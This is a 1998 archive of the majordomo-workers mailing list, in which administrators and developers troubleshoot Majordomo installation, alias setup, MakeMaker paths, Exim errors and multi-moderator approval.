<199810192020.PAA01564@mail.math.okstate.edu>; from Raven on Mon, Oct 19, 1998 at 03:20:31PM -0500 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Raven writes: ] > > I think I may have stumbled upon a bug in majordomo 1.94.4. Both > myself and the backup sys admin here have encountered the same problem > where everything appears to compile fine, etc. Then when you run the > config-test as long as there are errors coming back things seem to run > normally but when the coinfig is correct and we should be seeing the > offer to register majordomo instead the config-test spawns copies of > itself so fast that it shuts our mail machine down. My guess is that you're seeing an abort loop, possibly involving logging. Is the path to sendmail you specified correct? Is that sendmail executable by the Mj user? Try setting $DEBUG=1;, probably at the top of your majordomo.cf file. That will print debugging information. If you can't figure out what's wrong from that, post the output, plus your majordomo.cf file, to this list. If you do figure it out, let us (the mj-workers list) know where you went wrong so we can enhance config-test if appropriate. -- Dave Wolfe From majordomo-workers-owner Thu Oct 22 09:01:59 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA25352; Thu, 22 Oct 1998 08:54:46 -0700 (PDT) Received: from cis.ohio-state.edu (mail.cis.ohio-state.edu [164.107.115.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA25345 for ; Thu, 22 Oct 1998 08:54:29 -0700 (PDT) Received: from cis.ohio-state.edu (gold.cis.ohio-state.edu [164.107.112.16]) by cis.ohio-state.edu (8.9.1/8.9.1) with ESMTP id MAA23956; Thu, 22 Oct 1998 12:05:53 -0400 (EDT) Message-ID: <362F57E1.DD4456B6@cis.ohio-state.edu> Date: Thu, 22 Oct 1998 12:05:53 -0400 From: Dave Barr Organization: Ohio State, Dept of Computer and Information Science X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Nomad the Wanderer CC: majordomo-workers@GreatCircle.COM Subject: Re: Majordomo failing. References: <19981019111243.26359@orci.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Nomad the Wanderer wrote: > > Help, > I have setup and configured the latest and greatest I can > find. I have usuers subscribing, but when I go to mail I'm getting a > bounce that's basically this: > > rocky: {40} % ./wrapper jobline > wrapper: Trying to exec /usr2/shell/majordomo/jobline failed: No such file or directory What do you expect the wrapper to do when you don't even have a correct alias? Read the Majordomo docs on how to install Majordomo. --Dave From majordomo-workers-owner Thu Oct 22 12:20:52 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA29079; Thu, 22 Oct 1998 12:09:21 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id MAA29069 for majordomo-workers@greatcircle.com; Thu, 22 Oct 1998 12:09:15 -0700 (PDT) Received: from minot.com (minot.com [205.218.4.1]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id OAA09138; Wed, 21 Oct 1998 14:22:08 -0700 (PDT) Received: from ns1.internest-pub.com (IDENT:root@dwduck.minot.com [205.218.4.206]) by minot.com (8.9.1/8.9.1) with ESMTP id QAA08165; Wed, 21 Oct 1998 16:35:52 -0500 Received: from darkwing (darkwing.internest-pub.com [192.218.4.2]) by ns1.internest-pub.com (8.8.7/8.8.7) with SMTP id QAA29447; Wed, 21 Oct 1998 16:36:06 -0500 From: "Jamie Tomlinson" To: "Robert Harris" , , Subject: RE: Help? Date: Wed, 21 Oct 1998 16:34:48 -0500 Message-ID: <000201bdfd3a$a1091760$0204dac0@darkwing.internest-pub.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-reply-to: <362B7103.A42F02FC@gwl.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Importance: Normal Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >I have an alias set up that reads: >jobline: "|/usr2/shell/majordomo/wrapper jobline" > >There is no "jobline" file in /usr2/shell/majordomo. > you have solved your own problem.. *smile* First, by having an alias called "jobline" I'll assume that it is the name of your list. When mail is received for "jobline", sendmail (or whatever mta you are using) calles wrapper in the majordomo directory to run a script.. the script you are currently specifiying is "jobline".. what you PROBABLY want it to do is to resend the mail out to the list "jobline".. in which case it should probably be listed as: jobline: "|usr2/shell/majordomo/wrapper resend -l jobline jobline-list jobline-list should be set up as another alias which includes your jobline listfile in the lists directory. It should probably be set up as something like: jobline-list: :include:/usr2/shell/majordomo/lists/jobline Hope this helps a bit... Jamie Tomlinson Internest Publishing >-----Original Message----- >From: majordomo-users-owner@GreatCircle.COM >[mailto:majordomo-users-owner@GreatCircle.COM]On Behalf Of Robert Harris >Sent: Monday, October 19, 1998 12:04 PM >To: Majordomo-Users@GreatCircle.COM; majordomo-workers@GreatCircle.COM >Subject: Help? > > >I'm trying to set up a list and I'm getting this: > >rocky: {40} % ./wrapper jobline >wrapper: Trying to exec /usr2/shell/majordomo/jobline failed: No such >file or directory > Did you define PERL correctly in the Makefile? > HOME is HOME=/usr2/shell/majordomo, > PATH is PATH=/bin:/usr/bin:/usr/ucb, > SHELL is SHELL=/bin/sh, > MAJORDOMO_CF is MAJORDOMO_CF=/usr2/shell/majordomo/majordomo.cf > >I have an alias set up that reads: >jobline: "|/usr2/shell/majordomo/wrapper jobline" > >There is no "jobline" file in /usr2/shell/majordomo. > >-- > >--------------------------------------------------------------------------- >Robert L. Harris | You mean you paid >Senior System Administrator II | MONEY for > at Great West Life. \_ Service Pack '98???? > >http://www.orci.com/~nomad > >DISCLAIMER: > These are MY OPINIONS ALONE. I speak for no-one else. > >FYI: > perl -e 'print >$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' > From majordomo-workers-owner Fri Oct 23 08:18:09 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA14533; Fri, 23 Oct 1998 08:08:34 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA14520 for ; Fri, 23 Oct 1998 08:08:22 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA09940; Fri, 23 Oct 1998 10:19:25 -0500 (CDT) To: Roman Maeder Cc: majordomo-workers@greatcircle.com Subject: Re: Majordomo2 install problem References: <7609.909143265@prokyon> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 23 Oct 1998 10:19:25 -0500 In-Reply-To: Roman Maeder's message of "Fri, 23 Oct 1998 13:47:45 +0200" Message-ID: Lines: 22 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RM" == Roman Maeder writes: RM> the problem seems to be in postinstall (Rev 1.30) which assumes in sub RM> set_script_perms that the scripts live in $config->{'install_dir'}, but RM> the installation process put them into /usr/local/bin, This shouldn't be happening and I can't see any way to make it happen; MakeMaker is specifically told that PREFIX is whatever you set install_dir to. What does 'grep PREFIX Makefile' tell you? What does 'grep /usr/local/bin Makefile' tell you? RM> which is not something I have specified anywhere during 'perl RM> Makefile.PL', but a left-over from the generic perl install procedure RM> which on my system puts executables into /usr/local/bin. That behavior is specifically overridden. See the call to WriteMakefile in Makefile.PL. Perhaps there is a bug in MakeMaker? I have used the versions of MakeMaker that come with 5.004_01, 5.004_04 and 5.005_02 without problems, though. Perhaps this is architecture dependent in some way? What platform are you running on? - J< From majordomo-workers-owner Fri Oct 23 09:00:53 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA15133; Fri, 23 Oct 1998 08:48:27 -0700 (PDT) Received: from mail.eunet.ch (mail.eunet.ch [146.228.10.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA15126 for ; Fri, 23 Oct 1998 08:48:07 -0700 (PDT) Received: from bellatrix.mathconsult.ch ([193.72.174.7]) by mail.eunet.ch (8.9.1/1.34) via SMTP id PAA22527; Fri, 23 Oct 1998 15:59:49 GMT env-from (maeder@mathconsult.ch) Received: from localhost by bellatrix.mathconsult.ch (SMI-8.6/SMI-SVR4) id RAA01529; Fri, 23 Oct 1998 17:51:46 +0200 X-Mailer: exmh version 2.0.2 2/24/98 To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Majordomo2 install problem In-reply-to: Message from tibbs@hpc.uh.edu (Jason L Tibbitts III) of "23 Oct 1998 10:19:25 CDT" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 23 Oct 1998 17:51:43 +0200 Message-ID: <8034.909157903@prokyon> From: Roman Maeder Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > >>>>> "RM" == Roman Maeder writes: > > RM> the problem seems to be in postinstall (Rev 1.30) which assumes in sub > RM> set_script_perms that the scripts live in $config->{'install_dir'}, but > RM> the installation process put them into /usr/local/bin, > > This shouldn't be happening and I can't see any way to make it happen; > MakeMaker is specifically told that PREFIX is whatever you set install_dir > to. What does 'grep PREFIX Makefile' tell you? What does 'grep > /usr/local/bin Makefile' tell you? csh> grep PREFIX Makefile # PREFIX => q[/usr/local/majordomo2] PREFIX = /usr/local/majordomo2 PREFIX="$(PREFIX)"\ csh> grep /usr/local/bin Makefile INSTALLSCRIPT = /usr/local/bin PERL = /usr/local/bin/perl FULLPERL = /usr/local/bin/perl POD2MAN_EXE = /usr/local/bin/pod2man FULLPERL = /usr/local/bin/perl so it looks like INSTALLSCRIPT is the culprit > RM> which is not something I have specified anywhere during 'perl > RM> Makefile.PL', but a left-over from the generic perl install procedure > RM> which on my system puts executables into /usr/local/bin. > > That behavior is specifically overridden. See the call to WriteMakefile > in Makefile.PL. Perhaps there is a bug in MakeMaker? I have used the > versions of MakeMaker that come with 5.004_01, 5.004_04 and 5.005_02 > without problems, though. Perhaps this is architecture dependent in some > way? What platform are you running on? Solaris 2.5.1 (ULTRASparc) Roman Maeder From majordomo-workers-owner Fri Oct 23 09:14:25 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id JAA15376; Fri, 23 Oct 1998 09:04:51 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA15369 for ; Fri, 23 Oct 1998 09:04:39 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA10495; Fri, 23 Oct 1998 11:13:14 -0500 (CDT) To: Roman Maeder Cc: majordomo-workers@GreatCircle.COM Subject: Re: Majordomo2 install problem References: <8034.909157903@prokyon> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 23 Oct 1998 11:13:14 -0500 In-Reply-To: Roman Maeder's message of "Fri, 23 Oct 1998 17:51:43 +0200" Message-ID: Lines: 20 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RM" == Roman Maeder writes: RM> so it looks like INSTALLSCRIPT is the culprit Yes, it is. For me, it looks like INSTALLSCRIPT = $(PREFIX)/bin Try adding the line: INSTALLSCRIPT => "$prefix/bin", to the WriteMakefile call in Makefile.PL and see if it helps. RM> Solaris 2.5.1 (ULTRASparc) I test on Solaris, so that isn't it. Perhaps this fix will work and it won't matter. - J< From majordomo-workers-owner Mon Oct 26 18:15:11 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA23517; Mon, 26 Oct 1998 18:12:54 -0800 (PST) Received: from koro.off.connect.com.au (koro.off.connect.com.au [192.94.41.1]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id SAA23509 for ; Mon, 26 Oct 1998 18:12:48 -0800 (PST) Received: from melang.off.connect.com.au (melang.off.connect.com.au [202.21.9.1]) by koro.off.connect.com.au with ESMTP id NAA06512 (8.8.8/IDA-1.6); Tue, 27 Oct 1998 13:19:51 +1100 (EST) Message-ID: <199810270219.NAA06512@koro.off.connect.com.au> To: Dave Hayes cc: majordomo-workers@GreatCircle.COM Subject: Re: Performance In-reply-to: Your message of "Tue, 29 Sep 1998 18:54:22 MST." <199809300154.SAA17230@hokkshideh.jetcafe.org> Date: Tue, 27 Oct 1998 13:23:51 +1100 From: Andrew McNamara Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >Please be careful with BerkDB and PERL. I'd recommend using v2 of DB >if you can swing it. You really don't want to go through what I've >been going through trying to get it to work on high volume mail >traffic. Bottom line is that your DB files -will- get corrupted with >v1.85 or v1.86. As a counterpoint, we use db 1.85 with sendmail 8.8.8 and ida in a production environment. On one machine in particular, we have about 8000 entries in the aliases file, and >1000 entries in the mailertable file. Note that we are using the db hash method, rather than btree (which does have problems >1.86). Our radius system also has around 120000 entries spread across 700 .db files - again using 1.85 (yikes, I didn't realise the numbers were that big). My brief experiments with db2 suggested that it added 4Mb to the resident set (over what db 1.85 used) - this was an issue on a machine with 80 sendmail processes (I know - they should be shared pages - they weren't, and the machines were running out of swap - which is something they never did with 1.85). --- Andrew McNamara (Senior System Administrator) connect.com.au Pty Ltd Lvl 3, 213 Miller St, North Sydney, NSW 2060, Australia Phone: +61 2 9959 5959, Fax: +61 2 9966 1960 From majordomo-workers-owner Mon Oct 26 23:00:16 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id WAA26220; Mon, 26 Oct 1998 22:58:09 -0800 (PST) Received: from umva.ocha.unon.org (mailsvr01.unep.org [194.54.67.228]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA26213 for ; Mon, 26 Oct 1998 22:57:55 -0800 (PST) Received: from [172.16.1.2] (helo=amahoro.ocha.unon.org ident=ben) by umva.ocha.unon.org with smtp (Exim 2.04 #1) id 0zY31d-0005Cu-00 for majordomo-workers@greatcircle.com; Tue, 27 Oct 1998 09:54:41 +0300 Date: Tue, 27 Oct 1998 09:54:32 -0300 (GMT+3) From: Ben Parker Reply-To: Ben Parker To: majordomo-workers@greatcircle.com Subject: Anyone tried mj2 with exim (2.04)? unaddressed envelope error 9? Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="279708161-1196788822-909492872=:23199" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --279708161-1196788822-909492872=:23199 Content-Type: TEXT/PLAIN; charset=US-ASCII Not sure if my problems are exim-specific. Anyway, have installed the latest snapshot and am very keen to try out some of the new features of mj2 - in particular, the global user database (can it hold comments if strip = no?) and the use of sequence numbers other than in the subject prefix. However, am running into the following error. Exim says the script mj_email gives "error 9", while if I run mj_email from the prompt, I get the errors as attached to this message. Exim also reports "Unexpected disconnection while reading SMTP command from localhost..." Any tips? Thanks, Ben Parker --279708161-1196788822-909492872=:23199 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="junk.tmp" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: W2JlbkB1bXZhIG1qMl0kIC91c3IvbG9jYWwvbWoyL2Jpbi9tal9lbWFpbCAt bSAtZCBvY2hhLnVub24ub3JnIDwvaG9tZTIvYmVuL2p1bmsgfCBtDQphaWwg YmVuQG9jaGEudW5vbi5vcmcNCkxPRzogMCBNQUlODQogID0+IHwgL3Vzci9s b2NhbC9saWIvbWFpbGFnZW50L2ZpbHRlciA+PiAvaG9tZTIvYmVuL21haWxh Z2VudC5sb2cgMj4mMSAoYmVuQG9jaGEudW4NCm9uLm9yZykgPGJlbkBvY2hh LnVub24ub3JnPiBEPXVzZXJmb3J3YXJkIFQ9YWRkcmVzc19waXBlDQpMT0c6 IDAgTUFJTg0KICBDb21wbGV0ZWQNClsxOTU0OV1NYWpvcmRvbW8gRW1haWwg Y2xpZW50IC0gVHVlIE9jdCAyNyAwOTo0NToxOSAxOTk4DQpbMTk1NDldLkNv bXBpbGF0aW9uIHRvb2sgMS4wOHMsIDAuMTZ1DQpbMTk1NDldLk1ham9yZG9t bzo6bmV3OiAvdXNyL2xvY2FsL21qMi9saXN0cywgb2NoYS51bm9uLm9yZw0K WzE5NTQ5XS5NYWpvcmRvbW86Om5ldy4uZG9uZSwgdG9vayAwLjAwIHNlYw0K WzE5NTQ5XS5NYWpvcmRvbW86OmNvbm5lY3Q6IGVtYWlsDQpbMTk1NDldLk1h am9yZG9tbzo6Y29ubmVjdC4uZG9uZSwgdG9vayAwLjAwIHNlYw0KWzE5NTQ5 XS5NZXNzYWdlIGZyb20gQmVuIFBhcmtlciA8YmVuQG9jaGEudW5vbi5vcmc+ Lg0KWzE5NTQ5XS5QYXJzaW5nIGVudGl0eSB0b3BsZXZlbA0KWzE5NTQ5XS4u TWo6OlBhcnNlcjo6cGFyc2VfcGFydDogZW1haWwsIHRvcGxldmVsDQpbMTk1 NDldLi5Najo6UGFyc2VyOjpwYXJzZV9wYXJ0Li5kb25lLCB0b29rIDAuMDAg c2VjDQpbMTk1NDldLlBhcnNpbmcgZW50aXR5IHRvcGxldmVsLi5leGVjdXRl ZCAwLCB0b29rIDAuMDAgc2VjDQpbMTk1NDldLk1qOjpNYWlsT3V0OjptYWls X21lc3NhZ2U6IC90bXAvbWovbWplLjE5NTQ5LmZpbmFsLCBCZW4gUGFya2Vy IDxiZW5Ab2NoYS51bm8NCm4ub3JnPg0KWzE5NTQ5XS4uLlNlbmRpbmcgdW5h ZGRyZXNzZWQgZW52ZWxvcGUNClNlbmRpbmcgdW5hZGRyZXNzZWQgZW52ZWxv cGUgYXQgL3Vzci9sb2NhbC9tajIvbGliL01qL0xvZy5wbSBsaW5lIDM3OA0K ICAgICAgICBMb2c6OkluOjphYm9ydCgnTG9nOjpJbj1IQVNIKDB4ODUxZmJk OCknLCAnU2VuZGluZyB1bmFkZHJlc3NlZCBlbnZlbG9wZScpIGNhDQpsbGVk IGF0IC91c3IvbG9jYWwvbWoyL2xpYi9Nai9EZWxpdmVyL0VudmVsb3BlLnBt IGxpbmUgMjAzDQogICAgICAgIE1qOjpEZWxpdmVyOjpFbnZlbG9wZTo6c2Vu ZCgnTWo6OkRlbGl2ZXI6OkVudmVsb3BlPUhBU0goMHg4NTIxMmYwKScpIGNh bGxlZA0KYXQgL3Vzci9sb2NhbC9tajIvbGliL2F1dG8vTWovTWFpbE91dC9t YWlsX21lc3NhZ2UuYWwgbGluZSAyMQ0KICAgICAgICBNajo6TWFpbE91dDo6 bWFpbF9tZXNzYWdlKCdNYWpvcmRvbW89SEFTSCgweDg0ZGUwZDQpJywgJ21h am9yZG9tby1vd25lckBvY2hhDQoudW5vbi5vcmcnLCAnL3RtcC9tai9tamUu MTk1NDkuZmluYWwnLCAnQmVuIFBhcmtlciA8YmVuQG9jaGEudW5vbi5vcmc+ JykgY2FsbGVkIGF0IC8NCnVzci9sb2NhbC9tajIvYmluL21qX2VtYWlsIGxp bmUgMzkxDQogICAgICAgIG1haW46OnBhcnNlX2NvbW1hbmRzKCdNYWpvcmRv bW89SEFTSCgweDg0ZGUwZDQpJykgY2FsbGVkIGF0IC91c3IvbG9jYWwvbWoy L2INCmluL21qX2VtYWlsIGxpbmUgMTU0DQpbMTk1NDldLk1qOjpNYWlsT3V0 OjptYWlsX21lc3NhZ2UuLmRvbmUsIHRvb2sgMS4wMCBzZWMNCk5vIG1lc3Nh Z2UsIG5vIHN1YmplY3Q7IGhvcGUgdGhhdCdzIG9rDQpbYmVuQHVtdmEgbWoy XSQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgDQo= --279708161-1196788822-909492872=:23199-- From majordomo-workers-owner Tue Oct 27 07:21:09 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id HAA04036; Tue, 27 Oct 1998 07:10:20 -0800 (PST) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id HAA04029 for ; Tue, 27 Oct 1998 07:10:14 -0800 (PST) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id JAA12719; Tue, 27 Oct 1998 09:20:56 -0600 (CST) To: majordomo-workers@greatcircle.com, Ben Parker Subject: Re: Anyone tried mj2 with exim (2.04)? unaddressed envelope error 9? References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 27 Oct 1998 09:20:56 -0600 In-Reply-To: Ben Parker's message of "Tue, 27 Oct 1998 09:54:32 -0300 (GMT+3)" Message-ID: Lines: 27 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BP" == Ben Parker writes: BP> Not sure if my problems are exim-specific. Anyway, have installed the BP> latest snapshot and am very keen to try out some of the new features of BP> mj2 - in particular, the global user database (can it hold comments if BP> strip = no?) 'strip' makes no difference whatsoever. It is not referenced anywhere and will eventually be removed from the configuration file. Both the stripped and unstripped forms of the address are stored in the database; the stripped form is what mail is sent to. BP> Exim says the script mj_email gives "error 9",[...] Any tips? Please turn debugging on really high (with -v1000) and mail me the full output. I need to see the SMTP trace. I also need to know what version it is that you're running and what OS you're running it on and the perl version and any other particulars that might seem useful. BTW, what exactly are you feeding to mj_email there? It really does expect a complete email message, with headers and such. It seems like that's what you're sending it, but I can't tell. Note that I know zilch about Exim, so you may have to provide me with more info. - J< From majordomo-workers-owner Tue Oct 27 11:30:15 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id LAA07033; Tue, 27 Oct 1998 11:28:12 -0800 (PST) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id LAA07023 for majordomo-workers@greatcircle.com; Tue, 27 Oct 1998 11:28:10 -0800 (PST) Received: from mail.eunet.ch (mail.eunet.ch [146.228.10.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id EAA12230 for ; Fri, 23 Oct 1998 04:48:42 -0700 (PDT) Received: from bellatrix.mathconsult.ch ([193.72.174.7]) by mail.eunet.ch (8.9.1/1.34) via SMTP id LAA06769; Fri, 23 Oct 1998 11:59:48 GMT env-from (maeder@mathconsult.ch) Received: from localhost by bellatrix.mathconsult.ch (SMI-8.6/SMI-SVR4) id NAA27654; Fri, 23 Oct 1998 13:47:47 +0200 X-Mailer: exmh version 2.0.2 2/24/98 To: majordomo-workers@greatcircle.com Cc: Jason L Tibbitts III Subject: Majordomo2 install problem Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 23 Oct 1998 13:47:45 +0200 Message-ID: <7609.909143265@prokyon> From: Roman Maeder Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk when I tried a test install of the version of Majordomo2 I checked out this morning, I got the following: Installing /usr/local/majordomo2/man/man3/./Mj::TokenDB.pm.0 Installing /usr/local/bin/./mj_confirm Installing /usr/local/bin/./mj_shell Installing /usr/local/bin/./mj_email Installing /usr/local/bin/./mj_resend Installing /usr/local/bin/./mj_trigger Writing /usr/local/majordomo2/lib/auto/Majordomo/.packlist Appending installation info to /usr/local/majordomo2/lib/perllocal.pod /usr/local/bin/perl -w postinstall Setting permissions:Couldn't change ownership: No such file or directory at postinstall line 204. the problem seems to be in postinstall (Rev 1.30) which assumes in sub set_script_perms that the scripts live in $config->{'install_dir'}, but the installation process put them into /usr/local/bin, which is not something I have specified anywhere during 'perl Makefile.PL', but a left-over from the generic perl install procedure which on my system puts executables into /usr/local/bin. I assume they should go into the install_dir. I use perl5.004_04. Roman Maeder From majordomo-workers-owner Tue Oct 27 16:02:01 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA10602; Tue, 27 Oct 1998 15:47:58 -0800 (PST) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA10594 for ; Tue, 27 Oct 1998 15:47:47 -0800 (PST) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA22392; Tue, 27 Oct 1998 17:59:36 -0600 (CST) To: majordomo-workers@greatcircle.com Subject: Re: Majordomo2 install problem References: <7609.909143265@prokyon> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 27 Oct 1998 17:59:36 -0600 In-Reply-To: Roman Maeder's message of "Fri, 23 Oct 1998 13:47:45 +0200" Message-ID: Lines: 4 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Whoa, four days old, that one. My suggested fix went by several days ago, but no word of whether or not it helped at all. - J< From majordomo-workers-owner Wed Oct 28 09:17:48 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id JAA25182; Wed, 28 Oct 1998 09:13:33 -0800 (PST) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA25175 for ; Wed, 28 Oct 1998 09:13:21 -0800 (PST) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA06232; Wed, 28 Oct 1998 11:25:03 -0600 (CST) To: majordomo-workers@greatcircle.com Subject: Mj2 now maintains your aliases Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 28 Oct 1998 11:25:02 -0600 Message-ID: Lines: 20 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk The version of Mj2 currently in CVS will automatically maintain alias files for each of your domains if you configure it to do so. This is actually pretty cool; you can run a createlist command and start using the list right away. Alias files are kept in a special directory called ALIASES at the same level as the domain directories; it has restricted permissions to satisfy newer sendmails. The createlist-regen command completely regenerates the aliases for a domain. There is a README.SENDMAIL file holding some instructions; the installer refers users to this file. I tried to cover both sendmail.cf editing and the M4 stuff, but I'm not sure it's all correct. Please read it over. A snapshot will follow after it's been tested a bit more. - J< From majordomo-workers-owner Thu Oct 29 06:13:15 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id GAA14856 for majordomo-workers-include; Thu, 29 Oct 1998 06:13:15 -0800 (PST) Received: from turbot.dfo.ca (cod.mar.dfo-mpo.gc.ca [142.176.61.253]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id GAA14849 for ; Thu, 29 Oct 1998 06:13:07 -0800 (PST) Received: id KAA08686; Thu, 29 Oct 1998 10:24:38 -0400 Received: by gateway id KAA20263 for majordomo-workers@greatcircle.com; Thu, 29 Oct 1998 10:13:32 -0400 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199810291413.KAA20263@ecology.bio.dfo.ca> Subject: Re: More than one moderator? To: majordomo-workers@greatcircle.com (Majordomo developers) Date: Thu, 29 Oct 1998 10:13:32 -0400 (AST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason posted this to the users list, but I think that it raises a question of concern to the workers. I share several lists, most based on Majordomo, one run under LISTSERV. Because the owners are scientists with erratic schedules (field work, etc.), the problem of multiple approvals is a serious issue. LISTSERV uses just a token, it sends a message with a header like Subject: FISH-SCI: approval required (A879DA1A) and all you have to do is reply with a message saying "OK". It will only accept one approval for the token A879DA1A of course. But there is a problem with this. On the lists I run the owner sometimes wants to make changes before approving -- for example, it is common for someone to include a long message, signatures and all, at the end of a short but worthwhile posting. (Since these are my colleagues, I tend to be pretty lenient abut these matters.) Complex MIME postings with vcards are a particular bete noir. I'm not sure what Jason means by "token-based approval", but rather than the LISTSERV method it would be nice if the method could combine the best of the two systems. I would suggest something like the following: The bounce message includes a line like X-MJToken: A879DA1A and when the approval comes back, this token is checked. If this is the first return, the message is posted as sent back, leaving scope for the owner to modify it. Bill Silvert Forwarded message: >Date: Wed, 28 Oct 1998 14:23:32 -0600 >From: Jason L Tibbitts III >Subject: Re: More than one moderator? >In-reply-to: Thomas Gramstad's message of "Wed, 28 Oct 1998 19:52:33 +0100" > >>>>>> "TG" == Thomas Gramstad writes: > >TG> Is it possible to have more than one moderator for a moderated >TG> Majordomo list, and how does that work, technically? > >If works with 1.94.4, but not well. The problem is that there is no way to >ensure that something is approved only once. > >You could use the MajorCool method; I think that it greatly reduces or >possibly completely eliminates the possibility of double-approving a >message. Of course, you then _have_ to do it through Majorcool. > >Majordomo 2 provides token-based approval, so you cannot double-approve a >message. Mj2 also provides for distributing the workload by randomly >choosing a set of moderators from a list and sending the approval message >only to them. This, however, needs more work. (Probably not much more, >since I already wrote most of it.) If someone is interested in using and >testing it, then the work will get done much sooner. > >Majordomo2 info (needs updating) at http://www.hpc.uh.edu/majordomo/; >discussion on majordomo-workers@greatcircle.com. > > - J< -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 